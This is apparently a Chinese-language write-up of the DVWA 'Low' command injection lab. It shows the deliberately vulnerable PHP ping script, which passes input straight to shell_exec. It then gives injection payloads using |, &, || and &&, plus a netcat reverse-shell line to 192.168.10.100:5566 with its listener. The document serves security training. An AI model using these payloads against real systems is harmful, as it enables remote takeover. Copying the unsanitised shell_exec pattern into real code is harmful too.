Low

源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
//确定OS并执行ping命令。
// php_uname( 's' ):返回操作系统名称
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
// 直接返回CMD命令执行结果-->注入点
echo "<pre>{$cmd}</pre>";
}

?>

解题

尝试使用反弹命令,使得CMD将权限反弹出来。但是这不是pikachu靶场,无法实现ncat反弹shell的命令(docker环境的不完整性),能执行的仅仅是实现简单的恶意语句执行。

注意:
1.这个环境实现的是Ping操作,所以说输入IP地址相当于使用了 'ping IP地址'的操作
2.使用Ifconfig还是Ipconfig取决于当前系统环境

连接字符 | || & &&

无论是否为true/false,优先执行后面的语句
127.0.0.1 | ifconfig

无论是否为true/false,ping ip的操作和ifconfig的操作都将被执行一遍.
127.0.0.1 & ifconfig

当ping IP执行为false时,执行后面的ifconfig
127.0.0.1 || ifconfig
127.0.0.1 && ifconfig

基础中的基础

# 反弹shell打法
# 在那个输入IP地址的搜索框输入下面命令
# 命令的意思是:将DVWA服务器命令行窗口(黑窗)主动给出到服务器地址为192.168.10.100的主机的5566端口上
127.0.0.1|nc -e /bin/bash 192.168.10.100 5566
# 在攻击方192.168.10.100处使用nc工具监听5566端口
nc -lvvp 5566
下面是最明显的回显

反弹shell